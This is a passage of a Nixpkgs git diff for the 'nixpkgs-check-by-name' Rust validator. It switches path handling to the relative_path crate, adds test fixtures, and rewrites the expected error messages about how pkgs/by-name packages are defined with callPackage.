-> validation::Result<()> { // The first subpath to check is the package directory itself, which we can represent as an // empty path, since the absolute package directory gets prepended to this. // We don't use `./.` to keep the error messages cleaner // (there's no canonicalisation going on underneath) - let subpath = Path::new(""); + let subpath = RelativePath::new(""); check_path( nix_file_store, relative_package_dir, @@ -29,7 +30,7 @@ pub fn check_references( .with_context(|| { format!( "While checking the references in package directory {}", - relative_package_dir.display() + relative_package_dir ) }) } @@ -41,11 +42,11 @@ pub fn check_references( /// The absolute package directory gets prepended before doing anything with it though. fn check_path( nix_file_store: &mut NixFileStore, - relative_package_dir: &Path, + relative_package_dir: &RelativePath, absolute_package_dir: &Path, - subpath: &Path, + subpath: &RelativePath, ) -> validation::Result<()> { - let path = absolute_package_dir.join(subpath); + let path = subpath.to_path(absolute_package_dir); Ok(if path.is_symlink() { // Check whether the symlink resolves to outside the package directory @@ -55,8 +56,8 @@ fn check_path( // entire directory recursively anyways if let Err(_prefix_error) = target.strip_prefix(absolute_package_dir) { NixpkgsProblem::OutsideSymlink { - relative_package_dir: relative_package_dir.to_path_buf(), - subpath: subpath.to_path_buf(), + relative_package_dir: relative_package_dir.to_owned(), + subpath: subpath.to_owned(), } .into() } else { @@ -64,9 +65,9 @@ fn check_path( } } Err(io_error) => NixpkgsProblem::UnresolvableSymlink { - relative_package_dir: relative_package_dir.to_path_buf(), - subpath: subpath.to_path_buf(), - io_error, + relative_package_dir: relative_package_dir.to_owned(), + subpath: subpath.to_owned(), + io_error: io_error.to_string(), } .into(), } @@ -80,11 +81,12 @@ fn check_path( nix_file_store, relative_package_dir, absolute_package_dir, - &subpath.join(entry.file_name()), + // TODO: The relative_path crate doesn't seem to support OsStr + &subpath.join(entry.file_name().to_string_lossy().to_string()), ) }) .collect_vec() - .with_context(|| format!("Error while recursing into {}", subpath.display()))?, + .with_context(|| format!("Error while recursing into {}", subpath))?, ) } else if path.is_file() { // Only check Nix files @@ -96,7 +98,7 @@ fn check_path( absolute_package_dir, subpath, ) - .with_context(|| format!("Error while checking Nix file {}", subpath.display()))? + .with_context(|| format!("Error while checking Nix file {}", subpath))? } else { Success(()) } @@ -105,7 +107,7 @@ fn check_path( } } else { // This should never happen, git doesn't support other file types - anyhow::bail!("Unsupported file type for path {}", subpath.display()); + anyhow::bail!("Unsupported file type for path {}", subpath); }) } @@ -113,11 +115,11 @@ fn check_path( /// directory fn check_nix_file( nix_file_store: &mut NixFileStore, - relative_package_dir: &Path, + relative_package_dir: &RelativePath, absolute_package_dir: &Path, - subpath: &Path, + subpath: &RelativePath, ) -> validation::Result<()> { - let path = absolute_package_dir.join(subpath); + let path = subpath.to_path(absolute_package_dir); let nix_file = nix_file_store.get(&path)?; @@ -135,32 +137,32 @@ fn check_nix_file( match nix_file.static_resolve_path(path, absolute_package_dir) { ResolvedPath::Interpolated => NixpkgsProblem::PathInterpolation { - relative_package_dir: relative_package_dir.to_path_buf(), - subpath: subpath.to_path_buf(), + relative_package_dir: relative_package_dir.to_owned(), + subpath: subpath.to_owned(), line, text, } .into(), ResolvedPath::SearchPath => NixpkgsProblem::SearchPath { - relative_package_dir: relative_package_dir.to_path_buf(), - subpath: subpath.to_path_buf(), + relative_package_dir: relative_package_dir.to_owned(), + subpath: subpath.to_owned(), line, text, } .into(), ResolvedPath::Outside => NixpkgsProblem::OutsidePathReference { - relative_package_dir: relative_package_dir.to_path_buf(), - subpath: subpath.to_path_buf(), + relative_package_dir: relative_package_dir.to_owned(), + subpath: subpath.to_owned(), line, text, } .into(), ResolvedPath::Unresolvable(e) => NixpkgsProblem::UnresolvablePathReference { - relative_package_dir: relative_package_dir.to_path_buf(), - subpath: subpath.to_path_buf(), + relative_package_dir: relative_package_dir.to_owned(), + subpath: subpath.to_owned(), line, text, - io_error: e, + io_error: e.to_string(), } .into(), ResolvedPath::Within(..) => { diff --git a/pkgs/test/nixpkgs-check-by-name/src/structure.rs b/pkgs/test/nixpkgs-check-by-name/src/structure.rs index 9b615dd9969ac..09806bc3d4dc3 100644 --- a/pkgs/test/nixpkgs-check-by-name/src/structure.rs +++ b/pkgs/test/nixpkgs-check-by-name/src/structure.rs @@ -7,8 +7,9 @@ use crate::NixFileStore; use itertools::concat; use lazy_static::lazy_static; use regex::Regex; +use relative_path::RelativePathBuf; use std::fs::DirEntry; -use std::path::{Path, PathBuf}; +use std::path::Path; lazy_static! { static ref SHARD_NAME_REGEX: Regex = Regex::new(r"^[a-z0-9_-]{1,2}$").unwrap(); @@ -21,15 +22,15 @@ pub fn shard_for_package(package_name: &str) -> String { package_name.to_lowercase().chars().take(2).collect() } -pub fn relative_dir_for_shard(shard_name: &str) -> PathBuf { - PathBuf::from(format!("{BASE_SUBPATH}/{shard_name}")) +pub fn relative_dir_for_shard(shard_name: &str) -> RelativePathBuf { + RelativePathBuf::from(format!("{BASE_SUBPATH}/{shard_name}")) } -pub fn relative_dir_for_package(package_name: &str) -> PathBuf { +pub fn relative_dir_for_package(package_name: &str) -> RelativePathBuf { relative_dir_for_shard(&shard_for_package(package_name)).join(package_name) } -pub fn relative_file_for_package(package_name: &str) -> PathBuf { +pub fn relative_file_for_package(package_name: &str) -> RelativePathBuf { relative_dir_for_package(package_name).join(PACKAGE_NIX_FILENAME) } @@ -120,7 +121,8 @@ fn check_package( ) -> validation::Result<String> { let package_path = package_entry.path(); let package_name = package_entry.file_name().to_string_lossy().into_owned(); - let relative_package_dir = PathBuf::from(format!("{BASE_SUBPATH}/{shard_name}/{package_name}")); + let relative_package_dir = + RelativePathBuf::from(format!("{BASE_SUBPATH}/{shard_name}/{package_name}")); Ok(if !package_path.is_dir() { NixpkgsProblem::PackageNonDir { @@ -174,7 +176,7 @@ fn check_package( let result = result.and(references::check_references( nix_file_store, &relative_package_dir, - &path.join(&relative_package_dir), + &relative_package_dir.to_path(path), )?); result.map(|_| package_name.clone()) diff --git a/pkgs/test/nixpkgs-check-by-name/tests/aliases/expected b/pkgs/test/nixpkgs-check-by-name/tests/aliases/expected new file mode 100644 index 0000000000000..defae2634c343 --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/aliases/expected @@ -0,0 +1 @@ +Validated successfully diff --git a/pkgs/test/nixpkgs-check-by-name/tests/alt-callPackage/all-packages.nix b/pkgs/test/nixpkgs-check-by-name/tests/alt-callPackage/all-packages.nix new file mode 100644 index 0000000000000..399f8eee0a186 --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/alt-callPackage/all-packages.nix @@ -0,0 +1,7 @@ +self: super: { + + alt.callPackage = self.lib.callPackageWith {}; + + foo = self.alt.callPackage ({ }: self.someDrv) { }; + +} diff --git a/pkgs/test/nixpkgs-check-by-name/tests/alt-callPackage/default.nix b/pkgs/test/nixpkgs-check-by-name/tests/alt-callPackage/default.nix new file mode 100644 index 0000000000000..861260cdca4b2 --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/alt-callPackage/default.nix @@ -0,0 +1 @@ +import <test-nixpkgs> { root = ./.; } diff --git a/pkgs/test/nixpkgs-check-by-name/tests/alt-callPackage/expected b/pkgs/test/nixpkgs-check-by-name/tests/alt-callPackage/expected new file mode 100644 index 0000000000000..1d92e652200e4 --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/alt-callPackage/expected @@ -0,0 +1,9 @@ +- Because pkgs/by-name/fo/foo exists, the attribute `pkgs.foo` must be defined like + + foo = callPackage ./pkgs/by-name/fo/foo/package.nix { /* ... */ }; + + However, in this PR, a different `callPackage` is used. See the definition in all-packages.nix:5: + + foo = self.alt.callPackage ({ }: self.someDrv) { }; + +This PR introduces the problems listed above. Please fix them before merging, otherwise the base branch would break. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/alt-callPackage/pkgs/by-name/fo/foo/package.nix b/pkgs/test/nixpkgs-check-by-name/tests/alt-callPackage/pkgs/by-name/fo/foo/package.nix new file mode 100644 index 0000000000000..a1b92efbbadb9 --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/alt-callPackage/pkgs/by-name/fo/foo/package.nix @@ -0,0 +1 @@ +{ someDrv }: someDrv diff --git a/pkgs/test/nixpkgs-check-by-name/tests/base-fixed/base/default.nix b/pkgs/test/nixpkgs-check-by-name/tests/base-fixed/base/default.nix new file mode 100644 index 0000000000000..861260cdca4b2 --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/base-fixed/base/default.nix @@ -0,0 +1 @@ +import <test-nixpkgs> { root = ./.; } diff --git a/pkgs/test/nixpkgs-check-by-name/tests/base-fixed/base/pkgs/by-name/foo b/pkgs/test/nixpkgs-check-by-name/tests/base-fixed/base/pkgs/by-name/foo new file mode 100644 index 0000000000000..e69de29bb2d1d --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/base-fixed/base/pkgs/by-name/foo diff --git a/pkgs/test/nixpkgs-check-by-name/tests/base-fixed/default.nix b/pkgs/test/nixpkgs-check-by-name/tests/base-fixed/default.nix new file mode 100644 index 0000000000000..861260cdca4b2 --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/base-fixed/default.nix @@ -0,0 +1 @@ +import <test-nixpkgs> { root = ./.; } diff --git a/pkgs/test/nixpkgs-check-by-name/tests/base-fixed/expected b/pkgs/test/nixpkgs-check-by-name/tests/base-fixed/expected new file mode 100644 index 0000000000000..e209e18553147 --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/base-fixed/expected @@ -0,0 +1 @@ +The base branch is broken, but this PR fixes it. Nice job! diff --git a/pkgs/test/nixpkgs-check-by-name/tests/base-fixed/pkgs/by-name/README.md b/pkgs/test/nixpkgs-check-by-name/tests/base-fixed/pkgs/by-name/README.md new file mode 100644 index 0000000000000..e69de29bb2d1d --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/base-fixed/pkgs/by-name/README.md diff --git a/pkgs/test/nixpkgs-check-by-name/tests/base-still-broken/base/default.nix b/pkgs/test/nixpkgs-check-by-name/tests/base-still-broken/base/default.nix new file mode 100644 index 0000000000000..861260cdca4b2 --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/base-still-broken/base/default.nix @@ -0,0 +1 @@ +import <test-nixpkgs> { root = ./.; } diff --git a/pkgs/test/nixpkgs-check-by-name/tests/base-still-broken/base/pkgs/by-name/foo b/pkgs/test/nixpkgs-check-by-name/tests/base-still-broken/base/pkgs/by-name/foo new file mode 100644 index 0000000000000..e69de29bb2d1d --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/base-still-broken/base/pkgs/by-name/foo diff --git a/pkgs/test/nixpkgs-check-by-name/tests/base-still-broken/default.nix b/pkgs/test/nixpkgs-check-by-name/tests/base-still-broken/default.nix new file mode 100644 index 0000000000000..861260cdca4b2 --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/base-still-broken/default.nix @@ -0,0 +1 @@ +import <test-nixpkgs> { root = ./.; } diff --git a/pkgs/test/nixpkgs-check-by-name/tests/base-still-broken/expected b/pkgs/test/nixpkgs-check-by-name/tests/base-still-broken/expected new file mode 100644 index 0000000000000..c25f06b4150ea --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/base-still-broken/expected @@ -0,0 +1,3 @@ +pkgs/by-name/bar: This is a file, but it should be a directory. +The base branch is broken and still has above problems with this PR, which need to be fixed first. +Consider reverting the PR that introduced these problems in order to prevent more failures of unrelated PRs. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/base-still-broken/pkgs/by-name/bar b/pkgs/test/nixpkgs-check-by-name/tests/base-still-broken/pkgs/by-name/bar new file mode 100644 index 0000000000000..e69de29bb2d1d --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/base-still-broken/pkgs/by-name/bar diff --git a/pkgs/test/nixpkgs-check-by-name/tests/broken-autocall/expected b/pkgs/test/nixpkgs-check-by-name/tests/broken-autocall/expected index fff17c6c7cd5a..15b3e3ff6ede9 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/broken-autocall/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/broken-autocall/expected @@ -1 +1,2 @@ pkgs.foo: This attribute is not defined but it should be defined automatically as pkgs/by-name/fo/foo/package.nix +This PR introduces the problems listed above. Please fix them before merging, otherwise the base branch would break. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/callPackage-syntax/expected b/pkgs/test/nixpkgs-check-by-name/tests/callPackage-syntax/expected new file mode 100644 index 0000000000000..defae2634c343 --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/callPackage-syntax/expected @@ -0,0 +1 @@ +Validated successfully diff --git a/pkgs/test/nixpkgs-check-by-name/tests/empty-base/expected b/pkgs/test/nixpkgs-check-by-name/tests/empty-base/expected new file mode 100644 index 0000000000000..defae2634c343 --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/empty-base/expected @@ -0,0 +1 @@ +Validated successfully diff --git a/pkgs/test/nixpkgs-check-by-name/tests/incorrect-shard/expected b/pkgs/test/nixpkgs-check-by-name/tests/incorrect-shard/expected index 3627368c0ef0e..3b0146cdc146c 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/incorrect-shard/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/incorrect-shard/expected @@ -1 +1,2 @@ pkgs/by-name/aa/FOO: Incorrect directory location, should be pkgs/by-name/fo/FOO instead. +This PR introduces the problems listed above. Please fix them before merging, otherwise the base branch would break. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/internalCallPackage/expected b/pkgs/test/nixpkgs-check-by-name/tests/internalCallPackage/expected index 404795ee5c79a..b3d0c6fc1a401 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/internalCallPackage/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/internalCallPackage/expected @@ -1 +1,2 @@ pkgs.foo: This attribute is defined using `_internalCallByNamePackageFile`, which is an internal function not intended for manual use. +This PR introduces the problems listed above. Please fix them before merging, otherwise the base branch would break. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/invalid-package-name/expected b/pkgs/test/nixpkgs-check-by-name/tests/invalid-package-name/expected index 8c8eafdcb3d12..80f6e7dd59983 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/invalid-package-name/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/invalid-package-name/expected @@ -1 +1,2 @@ pkgs/by-name/fo/fo@: Invalid package directory name "fo@", must be ASCII characters consisting of a-z, A-Z, 0-9, "-" or "_". +This PR introduces the problems listed above. Please fix them before merging, otherwise the base branch would break. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/invalid-shard-name/expected b/pkgs/test/nixpkgs-check-by-name/tests/invalid-shard-name/expected index 248aa8877966e..7ca9ff8565bd2 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/invalid-shard-name/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/invalid-shard-name/expected @@ -1 +1,2 @@ pkgs/by-name/A: Invalid directory name "A", must be at most 2 ASCII characters consisting of a-z, 0-9, "-" or "_". +This PR introduces the problems listed above. Please fix them before merging, otherwise the base branch would break. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/manual-definition/expected b/pkgs/test/nixpkgs-check-by-name/tests/manual-definition/expected index 29d33f7dbdc00..4d906ec0d086a 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/manual-definition/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/manual-definition/expected @@ -1,2 +1,21 @@ -pkgs.noEval: This attribute is manually defined (most likely in pkgs/top-level/all-packages.nix), which is only allowed if the definition is of the form `pkgs.callPackage pkgs/by-name/no/noEval/package.nix { ... }` with a non-empty second argument. -pkgs.onlyMove: This attribute is manually defined (most likely in pkgs/top-level/all-packages.nix), which is only allowed if the definition is of the form `pkgs.callPackage pkgs/by-name/on/onlyMove/package.nix { ... }` with a non-empty second argument. +- Because pkgs/by-name/no/noEval exists, the attribute `pkgs.noEval` must be defined like + + noEval = callPackage ./pkgs/by-name/no/noEval/package.nix { /* ... */ }; + + However, in this PR, the second argument is empty. See the definition in all-packages.nix:9: + + noEval = self.callPackage ./pkgs/by-name/no/noEval/package.nix { }; + + Such a definition is provided automatically and therefore not necessary. Please remove it. + +- Because pkgs/by-name/on/onlyMove exists, the attribute `pkgs.onlyMove` must be defined like + + onlyMove = callPackage ./pkgs/by-name/on/onlyMove/package.nix { /* ... */ }; + + However, in this PR, the second argument is empty. See the definition in all-packages.nix:7: + + onlyMove = self.callPackage ./pkgs/by-name/on/onlyMove/package.nix { }; + + Such a definition is provided automatically and therefore not necessary. Please remove it. + +This PR introduces additional instances of discouraged patterns as listed above. Merging is discouraged but would not break the base branch. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/missing-package-nix/expected b/pkgs/test/nixpkgs-check-by-name/tests/missing-package-nix/expected index ce1afcbf2d34d..1b67704817cfe 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/missing-package-nix/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/missing-package-nix/expected @@ -1 +1,2 @@ pkgs/by-name/fo/foo: Missing required "package.nix" file. +This PR introduces the problems listed above. Please fix them before merging, otherwise the base branch would break. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/mock-nixpkgs.nix b/pkgs/test/nixpkgs-check-by-name/tests/mock-nixpkgs.nix index 81a9c916ac2d9..fbd51f656138d 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/mock-nixpkgs.nix +++ b/pkgs/test/nixpkgs-check-by-name/tests/mock-nixpkgs.nix @@ -28,13 +28,22 @@ let lib = import <test-nixpkgs/lib>; # The base fixed-point function to populate the resulting attribute set - pkgsFun = self: { - inherit lib; - newScope = extra: lib.callPackageWith (self // extra); - callPackage = self.newScope { }; - callPackages = lib.callPackagesWith self; - someDrv = { type = "derivation"; }; - }; + pkgsFun = + self: { + inherit lib; + newScope = extra: lib.callPackageWith (self // extra); + callPackage = self.newScope { }; + callPackages = lib.callPackagesWith self; + } + # This mapAttrs is a very hacky workaround necessary because for all attributes defined in Nixpkgs, + # the files that define them are verified to be within Nixpkgs. + # This is usually a very safe assumption, but it fails in these tests for someDrv, + # because it's technically defined outside the Nixpkgs directories of each test case. + # By using `mapAttrs`, `builtins.unsafeGetAttrPos` just returns `null`, + # which then doesn't trigger this check + // lib.mapAttrs (name: value: value) { + someDrv = { type = "derivation"; }; + }; baseDirectory = root + "/pkgs/by-name"; diff --git a/pkgs/test/nixpkgs-check-by-name/tests/move-to-non-by-name/expected b/pkgs/test/nixpkgs-check-by-name/tests/move-to-non-by-name/expected index 96da50b524916..123e24daab8a4 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/move-to-non-by-name/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/move-to-non-by-name/expected @@ -1,4 +1,13 @@ -pkgs.foo1: This top-level package was previously defined in pkgs/by-name/fo/foo1/package.nix, but is now manually defined as `callPackage ... { }` (e.g. in `pkgs/top-level/all-packages.nix`). Please move the package back and remove the manual `callPackage`. -pkgs.foo2: This top-level package was previously defined in pkgs/by-name/fo/foo2/package.nix, but is now manually defined as `callPackage ./without-config.nix { }` (e.g. in `pkgs/top-level/all-packages.nix`). Please move the package back and remove the manual `callPackage`. -pkgs.foo3: This top-level package was previously defined in pkgs/by-name/fo/foo3/package.nix, but is now manually defined as `callPackage ... { ... }` (e.g. in `pkgs/top-level/all-packages.nix`). While the manual `callPackage` is still needed, it's not necessary to move the package files. -pkgs.foo4: This top-level package was previously defined in pkgs/by-name/fo/foo4/package.nix, but is now manually defined as `callPackage ./with-config.nix { ... }` (e.g. in `pkgs/top-level/all-packages.nix`). While the manual `callPackage` is still needed, it's not necessary to move the package files. +- Attribute `pkgs.foo1` was previously defined in pkgs/by-name/fo/foo1/package.nix, but is now manually defined as `callPackage ... { /* ... */ }` in all-packages.nix. + Please move the package back and remove the manual `callPackage`. + +- Attribute `pkgs.foo2` was previously defined in pkgs/by-name/fo/foo2/package.nix, but is now manually defined as `callPackage ./without-config.nix { /* ... */ }` in all-packages.nix. + Please move the package back and remove the manual `callPackage`. + +- Attribute `pkgs.foo3` was previously defined in pkgs/by-name/fo/foo3/package.nix, but is now manually defined as `callPackage ... { ... }` in all-packages.nix. + While the manual `callPackage` is still needed, it's not necessary to move the package files. + +- Attribute `pkgs.foo4` was previously defined in pkgs/by-name/fo/foo4/package.nix, but is now manually defined as `callPackage ./with-config.nix { ... }` in all-packages.nix. + While the manual `callPackage` is still needed, it's not necessary to move the package files. + +This PR introduces additional instances of discouraged patterns as listed above. Merging is discouraged but would not break the base branch. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/multiple-failures/expected b/pkgs/test/nixpkgs-check-by-name/tests/multiple-failures/expected index ff5d18556ef03..0105b19078c75 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/multiple-failures/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/multiple-failures/expected @@ -11,3 +11,4 @@ pkgs/by-name/ba/foo: File package.nix at line 3 contains the path expression ".. pkgs/by-name/ba/foo: File package.nix at line 4 contains the nix search path expression "<nixpkgs>" which may point outside the directory of that package. pkgs/by-name/ba/foo: File package.nix at line 5 contains the path expression "./${"test"}", which is not yet supported and may point outside the directory of that package. pkgs/by-name/fo/foo: Missing required "package.nix" file. +This PR introduces the problems listed above. Please fix them before merging, otherwise the base branch would break. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/new-package-non-by-name/expected b/pkgs/test/nixpkgs-check-by-name/tests/new-package-non-by-name/expected index 3f294f26dfd83..92668a231b48e 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/new-package-non-by-name/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/new-package-non-by-name/expected @@ -1,4 +1,21 @@ -pkgs.new1: This is a new top-level package of the form `callPackage ... { }`. Please define it in pkgs/by-name/ne/new1/package.nix instead. See `pkgs/by-name/README.md` for more details. Since the second `callPackage` argument is `{ }`, no manual `callPackage` (e.g. in `pkgs/top-level/all-packages.nix`) is needed anymore. -pkgs.new2: This is a new top-level package of the form `callPackage ./without-config.nix { }`. Please define it in pkgs/by-name/ne/new2/package.nix instead. See `pkgs/by-name/README.md` for more details. Since the second `callPackage` argument is `{ }`, no manual `callPackage` (e.g. in `pkgs/top-level/all-packages.nix`) is needed anymore. -pkgs.new3: This is a new top-level package of the form `callPackage ... { }`. Please define it in pkgs/by-name/ne/new3/package.nix instead. See `pkgs/by-name/README.md` for more details. Since the second `callPackage` argument is not `{ }`, the manual `callPackage` (e.g. in `pkgs/top-level/all-packages.nix`) is still needed. -pkgs.new4: This is a new top-level package of the form `callPackage ./with-config.nix { }`. Please define it in pkgs/by-name/ne/new4/package.nix instead. See `pkgs/by-name/README.md` for more details. Since the second `callPackage` argument is not `{ }`, the manual `callPackage` (e.g. in `pkgs/top-level/all-packages.nix`) is still needed. +- Attribute `pkgs.new1` is a new top-level package using `pkgs.callPackage ... { /* ... */ }`. + Please define it in pkgs/by-name/ne/new1/package.nix instead. + See `pkgs/by-name/README.md` for more details. + Since the second `callPackage` argument is `{ }`, no manual `callPackage` in all-packages.nix is needed anymore. + +- Attribute `pkgs.new2` is a new top-level package using `pkgs.callPackage ./without-config.nix { /* ... */ }`. + Please define it in pkgs/by-name/ne/new2/package.nix instead. + See `pkgs/by-name/README.md` for more details. + Since the second `callPackage` argument is `{ }`, no manual `callPackage` in all-packages.nix is needed anymore. + +- Attribute `pkgs.new3` is a new top-level package using `pkgs.callPackage ... { /* ... */ }`. + Please define it in pkgs/by-name/ne/new3/package.nix instead. + See `pkgs/by-name/README.md` for more details. + Since the second `callPackage` argument is not `{ }`, the manual `callPackage` in all-packages.nix is still needed. + +- Attribute `pkgs.new4` is a new top-level package using `pkgs.callPackage ./with-config.nix { /* ... */ }`. + Please define it in pkgs/by-name/ne/new4/package.nix instead. + See `pkgs/by-name/README.md` for more details. + Since the second `callPackage` argument is not `{ }`, the manual `callPackage` in all-packages.nix is still needed. + +This PR introduces additional instances of discouraged patterns as listed above. Merging is discouraged but would not break the base branch. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/no-by-name/expected b/pkgs/test/nixpkgs-check-by-name/tests/no-by-name/expected index ddcb2df46e5fb..defae2634c343 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/no-by-name/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/no-by-name/expected @@ -1 +1 @@ -Given Nixpkgs path does not contain a pkgs/by-name subdirectory, no check necessary. +Validated successfully diff --git a/pkgs/test/nixpkgs-check-by-name/tests/no-eval/expected b/pkgs/test/nixpkgs-check-by-name/tests/no-eval/expected new file mode 100644 index 0000000000000..defae2634c343 --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/no-eval/expected @@ -0,0 +1 @@ +Validated successfully diff --git a/pkgs/test/nixpkgs-check-by-name/tests/non-attrs/expected b/pkgs/test/nixpkgs-check-by-name/tests/non-attrs/expected index e6c9237901029..1705d22be7984 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/non-attrs/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/non-attrs/expected @@ -1 +1,2 @@ pkgs.nonDerivation: This attribute defined by pkgs/by-name/no/nonDerivation/package.nix is not a derivation +This PR introduces the problems listed above. Please fix them before merging, otherwise the base branch would break. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/non-derivation/expected b/pkgs/test/nixpkgs-check-by-name/tests/non-derivation/expected index e6c9237901029..1705d22be7984 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/non-derivation/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/non-derivation/expected @@ -1 +1,2 @@ pkgs.nonDerivation: This attribute defined by pkgs/by-name/no/nonDerivation/package.nix is not a derivation +This PR introduces the problems listed above. Please fix them before merging, otherwise the base branch would break. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/non-syntactical-callPackage-by-name/expected b/pkgs/test/nixpkgs-check-by-name/tests/non-syntactical-callPackage-by-name/expected index 9df788191ece0..e09e931bb658e 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/non-syntactical-callPackage-by-name/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/non-syntactical-callPackage-by-name/expected @@ -1 +1,9 @@ -pkgs.foo: This attribute is manually defined (most likely in pkgs/top-level/all-packages.nix), which is only allowed if the definition is of the form `pkgs.callPackage pkgs/by-name/fo/foo/package.nix { ... }` with a non-empty second argument. +- Because pkgs/by-name/fo/foo exists, the attribute `pkgs.foo` must be defined like + + foo = callPackage ./pkgs/by-name/fo/foo/package.nix { /* ... */ }; + + However, in this PR, it isn't defined that way. See the definition in all-packages.nix:4 + + foo = self.bar; + +This PR introduces the problems listed above. Please fix them before merging, otherwise the base branch would break. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/one-letter/expected b/pkgs/test/nixpkgs-check-by-name/tests/one-letter/expected new file mode 100644 index 0000000000000..defae2634c343 --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/one-letter/expected @@ -0,0 +1 @@ +Validated successfully diff --git a/pkgs/test/nixpkgs-check-by-name/tests/only-callPackage-derivations/expected b/pkgs/test/nixpkgs-check-by-name/tests/only-callPackage-derivations/expected new file mode 100644 index 0000000000000..defae2634c343 --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/only-callPackage-derivations/expected @@ -0,0 +1 @@ +Validated successfully diff --git a/pkgs/test/nixpkgs-check-by-name/tests/override-different-file/expected b/pkgs/test/nixpkgs-check-by-name/tests/override-different-file/expected index 51479e22d26fe..16292c0c0eb14 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/override-different-file/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/override-different-file/expected @@ -1 +1,9 @@ -pkgs.nonDerivation: This attribute is manually defined (most likely in pkgs/top-level/all-packages.nix), which is only allowed if the definition is of the form `pkgs.callPackage pkgs/by-name/no/nonDerivation/package.nix { ... }` with a non-empty second argument. +- Because pkgs/by-name/no/nonDerivation exists, the attribute `pkgs.nonDerivation` must be defined like + + nonDerivation = callPackage ./pkgs/by-name/no/nonDerivation/package.nix { /* ... */ }; + + However, in this PR, the first `callPackage` argument is the wrong path. See the definition in all-packages.nix:2: + + nonDerivation = callPackage ./someDrv.nix { /* ... */ }; + +This PR introduces the problems listed above. Please fix them before merging, otherwise the base branch would break. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/override-empty-arg-gradual/expected b/pkgs/test/nixpkgs-check-by-name/tests/override-empty-arg-gradual/expected index e69de29bb2d1d..defae2634c343 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/override-empty-arg-gradual/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/override-empty-arg-gradual/expected @@ -0,0 +1 @@ +Validated successfully diff --git a/pkgs/test/nixpkgs-check-by-name/tests/override-empty-arg/expected b/pkgs/test/nixpkgs-check-by-name/tests/override-empty-arg/expected index 51479e22d26fe..f3306aadbbb77 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/override-empty-arg/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/override-empty-arg/expected @@ -1 +1,11 @@ -pkgs.nonDerivation: This attribute is manually defined (most likely in pkgs/top-level/all-packages.nix), which is only allowed if the definition is of the form `pkgs.callPackage pkgs/by-name/no/nonDerivation/package.nix { ... }` with a non-empty second argument. +- Because pkgs/by-name/no/nonDerivation exists, the attribute `pkgs.nonDerivation` must be defined like + + nonDerivation = callPackage ./pkgs/by-name/no/nonDerivation/package.nix { /* ... */ }; + + However, in this PR, the second argument is empty. See the definition in all-packages.nix:2: + + nonDerivation = self.callPackage ./pkgs/by-name/no/nonDerivation/package.nix { }; + + Such a definition is provided automatically and therefore not necessary. Please remove it. + +This PR introduces additional instances of discouraged patterns as listed above. Merging is 